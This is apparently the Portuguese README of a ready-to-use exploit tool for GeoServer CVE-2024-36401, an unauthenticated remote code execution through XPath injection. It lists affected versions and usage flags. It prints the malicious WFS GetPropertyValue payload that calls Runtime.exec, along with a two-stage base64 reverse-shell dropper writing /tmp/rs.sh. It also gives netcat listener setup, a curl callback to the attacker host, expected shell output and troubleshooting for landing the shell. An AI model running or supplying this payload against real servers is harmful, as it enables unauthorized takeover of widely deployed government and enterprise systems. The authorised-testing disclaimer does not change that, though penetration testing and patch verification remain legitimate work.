
Exploit de RCE não autenticado para GeoServer (CVE-2024-36401) via injeção de XPath em filtro OGC. Suporta reverse shell e execução de comandos cega com detecção automática de versão e sondagem de tipos de feição.
Exploit de Execução Remota de Código não autenticado para GeoServer via injeção do parâmetro valueReference de filtro OGC (avaliação XPath/JXPath).
Aviso: Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança. Não utilize contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso indevido ou danos causados por esta ferramenta.
O GeoServer é um servidor Java de código aberto para compartilhar dados geoespaciais, amplamente implantado em ambientes governamentais, empresariais e de pesquisa. O CVE-2024-36401 permite que um atacante não autenticado execute comandos arbitrários do sistema operacional no hospedeiro injetando expressões Java nos parâmetros de filtro OGC (Open Geospatial Consortium).
A vulnerabilidade foi adicionada ao catálogo CISA Known Exploited Vulnerabilities (KEV) em julho de 2024 devido à exploração ativa na natureza.
| Ramo | Faixa Vulnerável | Corrigido em |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
Versões do GeoServer anteriores a 2.23.0 também são provavelmente afetadas, mas estão no fim da vida útil e não foram testadas.
O GeoServer utiliza a biblioteca GeoTools para avaliar expressões de filtro OGC. O parâmetro valueReference (e outros como CQL_FILTER) é passado para JXPathContext.selectNodes() do Apache Commons JXPath sem sanitização.
O JXPath suporta a chamada de métodos arbitrários do Java através de expressões como:
exec(java.lang.Runtime.getRuntime(), 'id')
Esta avaliação ocorre antes da verificação de autenticação para certos endpoints, tornando a vulnerabilidade totalmente não autenticada.
Endpoints vulneráveis:
POST /geoserver/wfs — requisição GetPropertyValue com valueReferenceGET /geoserver/ows — mesmo parâmetro via query stringNota técnica importante: A expressão valueReference deve usar aspas simples (') em torno da string de comando. Aspas duplas (") causam falhas de análise XML e impedem a execução — uma armadilha comum em outros PoCs públicos.
requestssf, topp, tiger são suficientes)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
Ou instale as dependências diretamente:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| Modo | Flags | Descrição |
|---|---|---|
| Reverse shell | -l LHOST -p LPORT | Reverse shell em dois estágios via bash |
| Execução de comando | -c CMD | Executa um único comando (cego — sem saída) |
| Sobrescrita de tipo de feature | -f FEATURE | Ignora a detecção automática, usa o tipo especificado |
Inicie um listener primeiro:
nc -lvnp 4444
Depois execute o exploit:
python3 exploit_CVE-2024-36401.py \
-t http://<ALVO>:8080 \
-l <LHOST> \
-p 4444
Saída esperada:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<ALVO>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
No listener:
Connection received on <ALVO> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Execute um comando sem receber saída. Útil para verificação fora de banda ou para soltar arquivos:
# Verifique a execução através da criação de arquivo
python3 exploit_CVE-2024-36401.py \
-t http://<ALVO>:8080 \
-c "touch /tmp/pwned"
# Dispare um callback curl para confirmar a execução
python3 exploit_CVE-2024-36401.py \
-t http://<ALVO>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Nota: Comandos contendo metacaracteres do shell (
>,|,&,;) são automaticamente codificados em base64 para evitar problemas de análise.
Se a detecção automática falhar, forneça um tipo de feature conhecido do alvo:
python3 exploit_CVE-2024-36401.py \
-t http://<ALVO>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Tipos de feature comuns incluídos com os dados de amostra do GeoServer:
| Workspace | Tipo de Feature |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
O exploit envia uma requisição WFS GetPropertyValue com uma expressão valueReference maliciosa:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMANDO')
</wfs:valueReference>
</wfs:GetPropertyValue>
Para o reverse shell, uma abordagem em dois estágios é usada para evitar problemas com metacaracteres do shell dentro do argumento de string única do exec():
Estágio 1 — Escreve o reverse shell em /tmp/rs.sh usando codificação base64 e expansão de chaves do shell (sem espaços na string exec):
bash -c {echo,PAYLOAD_BASE64}|{base64,-d}|{tee,/tmp/rs.sh}
Estágio 2 — Executa o script:
bash /tmp/rs.sh
Esta abordagem evita a necessidade de um interpretador de shell na primeira chamada exec(), tornando-a confiável em diferentes configurações de sistema.
[-] Cannot connect to target
curl http://<ALVO>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<tipo>curl "http://<ALVO>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered mas nenhum shell recebido
LHOST:LPORT") em torno do comando — isso não funciona. Certifique-se de que aspas simples (') sejam usadas dentro da expressão valueReference.[!] Version X.X.X may be patched — attempting anyway
Este projeto está licenciado sob a Licença MIT. Consulte LICENSE para obter detalhes.